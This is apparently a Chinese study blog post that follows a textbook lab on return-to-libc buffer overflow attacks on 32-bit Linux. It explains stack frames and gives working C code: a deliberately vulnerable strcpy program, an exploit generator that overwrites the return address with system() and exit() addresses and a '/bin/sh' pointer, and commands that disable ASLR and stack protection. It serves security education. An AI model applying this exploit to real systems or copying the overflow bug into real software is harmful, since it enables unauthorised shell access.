前言
來源:《Computer Security》A Hands-on Approach — Wenliang Du
r2libc技術是一種緩衝區溢出利用技術,主要用於克服常規緩衝區溢出漏洞利用技術中面臨的no stack executable限制(所以後續實驗還是需要關閉系統的ASLR,以及堆棧保護),比如PaX和ExecShield安全策略。該技術主要是通過覆蓋棧幀中保存的函數返回地址(eip),讓其定位到libc庫中的某個庫函數(如,system等),而不是直接定位到shellcode。然後通過在棧中精心構造該庫函數的參數,以便達到類似於執行shellcode的目的。
上面這段話,來自烏雲備份文章。
這章的背景要求:程序在內存中的佈局 、gdb調試之棧幀信息 、緩衝區溢出攻擊
文章目錄
摘要和總結
在上一章中,我們利用緩衝區漏洞,將惡意代碼shellcode附加在緩衝區的後面。通過覆蓋返回地址,跳轉到惡意代碼,執行棧中的shellcode代碼。但是,現在的操作系統已經作出防禦,禁止棧中的數據作爲代碼執行。但是這個並沒有關係,我們可以不在棧中執行程序,我們可以通過覆蓋返回地址,執行已經在內存中存在的程序,比如說libc中的system函數。我們希望跳轉之後,可以執行system("/bin/sh")。這個做法的難點是,在哪裏放置"/bin/sh"的地址,作爲system的參數。
這次實驗環境如下(IA-32:Intel Architecture, 32-bit):
幾個概念:x86、x86-64和IA-32、IA-64 --》我不太明白,我知道它是32位的。
Linux VM 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:41 UTC 2017 i686 i686 i686 GNU/Linux
現在我們的環境,我不知道如何實現return-to-libc的攻擊。因爲參數的傳遞通過寄存器。這裏介紹的參數傳遞還是通過壓棧的方式。知識點有些陳舊。我們不妨,將它作爲一次理解程序在內存中執行過程分析的體驗。
雖然早已是64位,但是當年我還是學習王爽的那本彙編(16位),入門彙編語言,也是唯一一次學習彙編。
關於libc的概念可以參考:libc、glib、glibc簡介
(ax --> eax —> rax)
函數的進入離開過程
詳細的調試過程,可以看前言中的鏈接,“gdb調試之棧棧信息”。
這一章,在上一章的基礎上,並沒有難度。由於實在32位環境中實驗,我們調試32位中的程序顯示。
我這裏稍微贅述下調用過程。Tips:沒有給出調用着的準備工作。想看的自己調試。Not difficult.
/**
* 使用gdb調試該程序,展示內存佈局
*/
#include <stdio.h>
void func(int a,int b){
int x,y;
x = a + b;
y = a - b;
}
int main(void){
int x=0;
int y=0;
func(4,3);
return 0;
}
函數,還是最簡單的函數。
進入函數
我們可以看到它三步準備:
push ebp ;保存上一個棧棧
mov ebp,esp ;設置當前棧幀
sub esp,$N ;給local變量開闢部分內存
RA:指return address。
離開函數
leavel
ret
;在32位彙編下相當於
mov esp,ebp;
pop ebp
ret
Return to Libc Attack
我們需要做的是,用system的地址覆蓋返回地址,在合適的位置填入“/bin/sh"字符串所在內存地址,這個合適的位置是system的參數地址。(這些地址具體位置,我們在下一節敘述,這裏暫時默認爲已知。我們先從方法上看如何實現。)
我們可以看到上面取出參數的位置是[ebp+8]。我當時站在ebp的角度來思考,結果半天沒繞出來。
看了書後面的章節,從esp的角度來看,就相對而言比較容易了。
-
首先是離開函數,執行的是離開函數的操作。所以我們用system的函數地址覆蓋return address = ebp+4。此時esp指向的位置如(b)圖所示。
-
接着是進入一個函數,執行的是進入函數的操作。
- push ebp,所以函數地址被ebp的內容覆蓋; esp+4;
- mov ebp,esp ,所以ebp的位置如圖©所示;ebp+8是我們的參數位置,位置如圓圈1所示;這個位置等於原來的ebp + 12。
- 圓圈2在現在ebp+4位置,是system的返回地址,原來ebp+8的位置,可以用來設置exit。雖然我認爲這個沒什麼用。
- sub esp,$N ;給local變量開闢部分內存
-
總結下緩衝區這些信息的覆蓋位置
- system的函數地址覆蓋return address = ebp+4
- 參數位置等於ebp + 12
- ebp+8的位置,可以用exit函數的內存位置填充,作爲返回地址
具體操作
我們關閉地址隨機化,棧保護,開啓棧不可執行。
獲取system、exit地址
這些內容在動態庫中,會映射到當前的進程地址空間中。至於如何映射的,我不知道。
順便我們再看看system是如何獲取參數,或許和書上內容不一樣。
我推測參數,通過[esp+4]取到,也就是我們的參數填充位置,所以可以正常運行。
這裏並沒有push ebp操作,在<do_system>中進行操作。比較長,我僅僅截圖出部分。
獲取參數地址
我們通過export MYSHELL="/bin/sh"
,給添加環境變量。這個變量會傳遞給子進程的環境變量中。
我們在子進程中查看這個變量的地址。注意的是,程序名長度會影響"/bin/sh"的位置。所以我們可以用攻擊程序的程序名來獲取下變量地址。
/**
* 查看環境變量的地址
* break main | run | x /100s *((char **)environ)
*/
#include <stdio.h>
#include <stdlib.h>
int main(void){
char *shell = getenv("MYSHELL");
if(shell){
printf("now env the char point size : %u\n",sizeof(char *));
printf("MYSHELL IS %s\n",shell);
//64位,不能用%x了
printf("The address of MYSHELL 0x%lx\n", (unsigned long int)shell);
}
return 0;
}
生成badfile
/**
* 用於生成buffer填充內容
* stack.c中的buffer爲100 char
* bufer和緩衝區之間的距離:0x6c
* system的地址是: 0xb7da4da0 --> 0x6c+4
* exit的地址是: 0xb7d989d0 --> 0x6c+8
* MYSHELL的地址是:0xbffffdd8 --> 0x6c+12
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void){
char buffer[200];
/*填充的內容沒有\0就好,我這裏填充nop,雖然不執行*/
memset(buffer,0x90,sizeof(buffer));
*(long *)(buffer+0x6c+4) = 0xb7da4da0;
*(long *)(buffer+0x6c+8) = 0xb7d989d0;
*(long *)(buffer+0x6c+12) = 0xbffffdd8;
FILE *badfile = fopen("badfile","w");
if(!badfile){
printf("cannt open badfile");
exit(0);
}
fwrite(buffer,sizeof(char),sizeof(buffer),badfile);
fclose(badfile);
return 0;
}
執行Return to Libc Attack
/**
* 用來演示緩衝區溢出攻擊,return-to-libc:stack.c
* 我們關閉地址隨機化,棧保護,開啓棧不可執行
* sudo sysctl -w kernel.randomize_va_space=0
* gcc -g -fno-stack-protector -z noexecstack -o stack stack.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void func(char *src){
char buffer[100]={0};
strcpy(buffer,src);
}
int main(void){
char src[400]={0};
FILE *badfile = fopen("badfile","r");
if (!badfile){
printf("no open badfile");
return 0;
}
fread(src,sizeof(char),300,badfile);
func(src);
printf("return properly\n");
return 0;
}
執行成功如下所示:
參考文章
視頻地址:https://www.bilibili.com/bangumi/play/ss28973?t=3525